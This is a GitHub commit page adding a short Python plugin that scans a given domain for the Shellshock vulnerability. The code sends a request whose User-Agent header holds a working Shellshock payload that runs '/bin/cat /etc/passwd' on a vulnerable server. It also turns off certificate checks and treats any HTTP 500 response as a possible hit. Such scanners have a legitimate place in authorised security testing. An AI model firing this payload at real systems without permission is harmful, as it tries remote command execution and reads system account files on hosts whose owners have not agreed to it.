-
Notifications
You must be signed in to change notification settings - Fork 56
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
moved the shellshock scanner to plugins
- Loading branch information
Miguel Sanchez
authored and
Miguel Sanchez
committed
Aug 15, 2022
1 parent
713d4f1
commit 301e0cd
Showing
1 changed file
with
13 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
from colorama import Fore | ||
import requests | ||
|
||
user_agent = "() { :; }; /bin/cat /etc/passwd" | ||
header = {"User-Agent": user_agent} | ||
|
||
|
||
def shellshock_scan(domain: str) -> str: | ||
res = requests.get(domain, verify=False, headers=header) | ||
if res.status_code == 500: | ||
print(f"{Fore.MAGENTA}[+] {Fore.CYAN}-{Fore.WHITE} Shellshock: {Fore.GREEN}Might be vulnerable!") | ||
else: | ||
pass |